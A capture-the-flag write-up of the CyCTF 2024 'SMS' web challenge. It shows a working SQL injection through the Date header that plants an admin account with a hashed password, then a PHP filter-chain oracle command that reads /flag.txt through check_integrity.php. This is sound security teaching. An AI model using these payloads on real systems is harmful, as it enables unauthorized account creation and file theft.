0%

SMSChallengeWrite-Up(Web)-CyCTF2024

Omar Mohamed
Thanks for sharing!

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

SMS Challenge Write-Up (Web) - CyCTF 2024
Hello everyone! It's Omar (aka daMushroom).
Today, I’ll walk you through the write-up for the SMS challenge from the CyCTF 2024 qualifications.
This was a fun challenge that involved using SQL injection to create an account, followed by exploiting PHP filter chains to retrieve the flag.
Here is the source code for the challenge: SMS Challenge - GitHub
Let's dive in!

Challenge Overview

We know that the flag is located at the /flag.txt path.
We have both source code and access to a live server.
sms-cyctf24-web

Visiting the Website

When visiting the website, we see a page with a feedback form and an upload form:
main page
Initially, I suspected a file upload vulnerability, but let’s check the source code provided to confirm.

Source Code Analysis

Here's a quick summary of the application files provided:
source code files
  1. index.php - Contains the two forms shown above.
  2. login.php - which seems secure to me, and notice the line $_SESSION['admin'] = true; whenever you succefully login
    Login
  3. reset.php - Nothing unusual or exploitable.
  4. upload.php - Originally suspected of file upload vulnerability, but a closer code review shows it’s secure.
  5. forgot_password.php - Nothing exploitable here either.
Note: Since the source code is lengthy, I've attached it in a GitHub repo (link provided above) for reference.

Finding the SQL Injection Vulnerability

In submit_feedback.php, we notice something interesting
SQL Injection Vulnerability
$date is passed without any validation, making it vulnerable to SQL injection.
We control the Date header through $_SERVER['HTTP_DATE'], which becomes our entry point.

For our last 3 files: dashboard.php, feedback.php, and check_integrity.php require an admin session to access as shown below
php
if (!$_SESSION['admin']) {
    header('Location: login.php');
    die();
}
Which basically means we have to login somehow and we will have access to those routes, because you will get an admin session whenever you login as mentioned above

Exploiting the SQL Injection Vulnerability

Let’s start by crafting our SQL payload to create an account:
  1. Initial Injection: End the current query using:
    sql
    1','admin');
    
  2. Insert New User: Knowing the username and password columns in the users table, our query becomes:
    sql
    INSERT INTO users (username, password) VALUES('mushroom', 'pass') # -
    
    Here, # is used to comment out the rest of the query. However, this approach doesn’t work as expected.
Upon reviewing login.php, we see that it uses password_verify, meaning passwords are stored as hashed values.
Password Verify
Checking reset.php, we also find that passwords are hashed using password_hash.
Password Hash
To generate a hashed password, I ran the following PHP code:
php
<?php
echo (password_hash("pass", PASSWORD_DEFAULT));
?>
Our final injection payload becomes:
sql
1','admin'); INSERT INTO users (username, password) VALUES('mushroom', '$2y$10$fgCt/ME2owQECuxUwW20teL0CBm3lVIvcXTSg5C1CLdxOBZhUNtBG') # -
This successfully adds a user named mushroom with the password pass.

Executing the Injection

I submitted feedback with this payload using Burp Suite, injecting the crafted SQL in the Date header.
The server response was a blank page, indicating that the injection succeeded.
Payload Injection

Logging in as Admin

Navigating to login.php, I successfully logged in with the newly created credentials and was redirected to the dashboard.
Dashboard

Searching for Vulnerabilities

With admin access, I examined dashboard.php, feedback.php, and check_integrity.php. While the first two files didn’t reveal much, check_integrity.php seemed promising.
Upon further inspection, it uses the sha1_file function, which can be exploited. A Google search for "sha1_file PHP vulnerability" led me to an article on PHP filter chains.

Automating the PHP Filter Exploit

The article provides a tool to automate the exploit: synacktiv/php_filters_chain_oracle_exploit.
After installing, the command should end up looking like this:
bash
$ python3 filters_chain_oracle_exploit.py \
    --target "https://cyctf-4c0ae5558388-sms-0.chals.io/check_integrity.php" \
    --file "/flag.txt" \
    --parameter "file_name" \
    --headers '{"Cookie": "PHPSESSID=c8d69996a3f4d9c3a67743a1e1457e04"}' \
    --data '{"user_hash": "dummy"}'
Note that I added a dummy value for user_hash because it is required to enter the sha1_file function
Filter Exploit
Note: You may need to remove the SSL warning when running the tool. To do that just add those lines at the beginning of this file: requestor.py in core directory
php
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

Retrieving the Flag

Running the exploit, we begin to see the flag appear, character by character.
Flag Appearance
After a while, we retrieve the complete flag:
CYCTF{tXv6lJDD-rtX_PC-TngDsrxpOP_mu7As6UaEO5Gmhk0Fo5WYO9S_aIzPiiDxj_yVYnsZxfgK8F9TGyy7zC19R_aGMJAPKXaAYnLUCAnBf96i}
Note: The last } might not appear due to truncation; add it manually.
That's all! Hope you enjoyed the write-up. It was fun solving this challenge. Check out my X (formerly Twitter) for more updates.
You can find me on Discord: mush.sh
Check out my other write-up on Vending Machine Challenge
Peace!

You might also like